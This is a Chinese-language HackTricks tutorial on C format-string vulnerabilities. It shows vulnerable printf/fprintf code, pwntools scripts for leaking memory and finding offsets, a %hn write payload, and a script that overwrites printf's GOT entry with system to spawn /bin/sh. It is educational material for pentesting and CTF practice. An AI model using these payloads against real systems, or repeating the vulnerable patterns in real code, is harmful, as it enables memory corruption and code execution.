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Format Strings

支持 HackTricks

基本信息

在 C 中，printf 是一个可以用来 打印 字符串的函数。该函数期望的 第一个参数 是 带格式的原始文本。后续的 参数 是 替代 原始文本中 格式化符 的 值。

其他易受攻击的函数包括 sprintf() 和 fprintf()。

当 攻击者的文本作为该函数的第一个参数 时，就会出现漏洞。攻击者将能够构造一个 特殊输入，利用 printf 格式 字符串的能力来读取和 写入任何地址（可读/可写） 中的 任何数据。这样就能够 执行任意代码。

格式化符：

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

示例：

  • 漏洞示例：

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.

  • 正常使用：

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5

  • 缺少参数：

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

  • fprintf 漏洞：

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

访问指针

格式 %<n>$x，其中 n 是一个数字，允许指示 printf 选择第 n 个参数（来自栈）。因此，如果您想使用 printf 读取栈中的第 4 个参数，您可以这样做：

printf("%x %x %x %x")

并且你会从第一个参数读取到第四个参数。

或者你可以这样做：

printf("$4%x")

并直接读取第四个。

注意，攻击者控制了 printf 参数，这基本上意味着 他的输入将在调用 printf 时位于栈中，这意味着他可以在栈中写入特定的内存地址。

控制此输入的攻击者将能够 在栈中添加任意地址并使 printf 访问它们。在下一节中将解释如何利用这种行为。

任意读取

可以使用格式化符 %n$s 使 printf 获取位于 n 位置 的 地址，并 将其作为字符串打印（打印直到找到 0x00）。因此，如果二进制文件的基地址是 0x8048000，并且我们知道用户输入从栈的第 4 个位置开始，则可以使用以下方式打印二进制文件的开头：

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

请注意，您不能将地址 0x8048000 放在输入的开头，因为字符串将在该地址的末尾被截断为 0x00。

查找偏移量

要找到输入的偏移量，您可以发送 4 或 8 个字节（0x41414141），后跟 %1$x 并 增加 值，直到检索到 A's。

暴力破解 printf 偏移量

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### 有多有用

任意读取可以用于：

* **从内存中转储** **二进制文件**
* **访问存储敏感** **信息**的内存特定部分（如金丝雀、加密密钥或自定义密码，如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中）

## **任意写入**

格式化器 **`$<num>%n`** **在** **指定地址**中写入**已写入字节的数量**，该地址在栈中的 \<num> 参数中。如果攻击者可以使用 printf 写入任意数量的字符，他将能够使 **`$<num>%n`** 在任意地址写入任意数字。

幸运的是，要写入数字 9999，并不需要在输入中添加 9999 个 "A"，为了做到这一点，可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址**中写入数字 **`<num-write>`**。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

然而，请注意，通常为了写入一个地址，例如 0x08049724（这是一个一次性写入的巨大数字），使用的是 $hn 而不是 $n。这允许只写入 2 字节。因此，这个操作需要进行两次，一次写入地址的高 2 字节，另一次写入低 2 字节。

因此，这个漏洞允许在任何地址写入任何内容（任意写入）。

在这个例子中，目标是覆盖一个函数在GOT表中的地址，该函数将在稍后被调用。尽管这可以滥用其他任意写入到执行的技术：

我们将覆盖一个函数，该函数接收来自用户的参数并指向****system 函数。 如前所述，写入地址通常需要 2 个步骤：您首先写入地址的 2 字节，然后写入另外 2 字节。为此使用**$hn**。

  • HOB 被调用为地址的 2 个高字节

  • LOB 被调用为地址的 2 个低字节

然后，由于格式字符串的工作方式，您需要首先写入较小的 [HOB, LOB]，然后写入另一个。

如果 HOB < LOB [address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

如果 HOB > LOB [address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools 模板

您可以在以下位置找到用于准备此类漏洞的模板：

或者可以从这里找到这个基本示例：

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

格式字符串到缓冲区溢出

可以利用格式字符串漏洞的写入操作来写入栈的地址，并利用缓冲区溢出类型的漏洞。

其他示例与参考

PreviousInteger OverflowNextFormat Strings - Arbitrary Read Example

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